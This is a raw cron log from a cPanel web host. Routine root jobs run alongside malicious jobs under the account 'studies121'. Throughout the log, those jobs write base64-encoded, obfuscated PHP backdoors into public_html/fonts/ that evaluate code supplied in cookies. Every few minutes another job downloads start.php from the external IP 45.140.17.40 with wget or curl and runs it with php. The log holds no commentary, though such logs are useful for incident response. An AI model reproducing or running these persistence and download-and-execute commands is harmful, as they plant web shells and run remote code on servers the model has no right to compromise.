Sep  2 15:52:01 ip-184-168-122-23 CROND[8825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:52:01 ip-184-168-122-23 CROND[8826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:53:01 ip-184-168-122-23 CROND[8918]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:53:01 ip-184-168-122-23 CROND[8920]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:53:01 ip-184-168-122-23 CROND[8923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:53:01 ip-184-168-122-23 CROND[8922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:54:01 ip-184-168-122-23 CROND[9026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:54:01 ip-184-168-122-23 CROND[9027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:54:01 ip-184-168-122-23 CROND[9031]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 15:54:01 ip-184-168-122-23 CROND[9029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:54:01 ip-184-168-122-23 CROND[9030]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:55:01 ip-184-168-122-23 CROND[9113]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:55:01 ip-184-168-122-23 CROND[9115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:55:01 ip-184-168-122-23 CROND[9116]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 15:55:01 ip-184-168-122-23 CROND[9117]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 15:55:01 ip-184-168-122-23 CROND[9118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:55:01 ip-184-168-122-23 CROND[9119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:56:01 ip-184-168-122-23 CROND[9280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:56:01 ip-184-168-122-23 CROND[9284]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:56:01 ip-184-168-122-23 CROND[9283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:56:01 ip-184-168-122-23 CROND[9286]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 15:56:01 ip-184-168-122-23 CROND[9287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:57:01 ip-184-168-122-23 CROND[9371]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:57:01 ip-184-168-122-23 CROND[9373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:57:01 ip-184-168-122-23 CROND[9375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:57:01 ip-184-168-122-23 CROND[9374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:58:02 ip-184-168-122-23 CROND[9449]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 15:58:02 ip-184-168-122-23 CROND[9451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:58:02 ip-184-168-122-23 CROND[9453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:58:02 ip-184-168-122-23 CROND[9455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 15:58:02 ip-184-168-122-23 CROND[9459]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:59:01 ip-184-168-122-23 CROND[9532]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 15:59:01 ip-184-168-122-23 CROND[9534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 15:59:01 ip-184-168-122-23 CROND[9535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 15:59:01 ip-184-168-122-23 CROND[9533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:00:01 ip-184-168-122-23 CROND[9625]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 16:00:01 ip-184-168-122-23 CROND[9624]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 16:00:01 ip-184-168-122-23 CROND[9629]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:00:01 ip-184-168-122-23 CROND[9630]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  2 16:00:01 ip-184-168-122-23 CROND[9632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:00:01 ip-184-168-122-23 CROND[9635]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 16:00:01 ip-184-168-122-23 CROND[9634]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 16:00:01 ip-184-168-122-23 CROND[9633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:00:01 ip-184-168-122-23 CROND[9638]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:01:01 ip-184-168-122-23 CROND[9748]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 16:01:01 ip-184-168-122-23 CROND[9751]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 16:01:01 ip-184-168-122-23 CROND[9752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[9748]: starting 0anacron
Sep  2 16:01:01 ip-184-168-122-23 CROND[9757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:01:01 ip-184-168-122-23 CROND[9758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:01:01 ip-184-168-122-23 CROND[9760]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[9769]: finished 0anacron
Sep  2 16:02:01 ip-184-168-122-23 CROND[9951]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 16:02:01 ip-184-168-122-23 CROND[9952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:02:01 ip-184-168-122-23 CROND[9954]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:02:01 ip-184-168-122-23 CROND[9955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:02:01 ip-184-168-122-23 CROND[9959]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:03:01 ip-184-168-122-23 CROND[10033]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 16:03:01 ip-184-168-122-23 CROND[10034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:03:01 ip-184-168-122-23 CROND[10035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:03:01 ip-184-168-122-23 CROND[10036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:04:01 ip-184-168-122-23 CROND[10117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 16:04:01 ip-184-168-122-23 CROND[10115]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
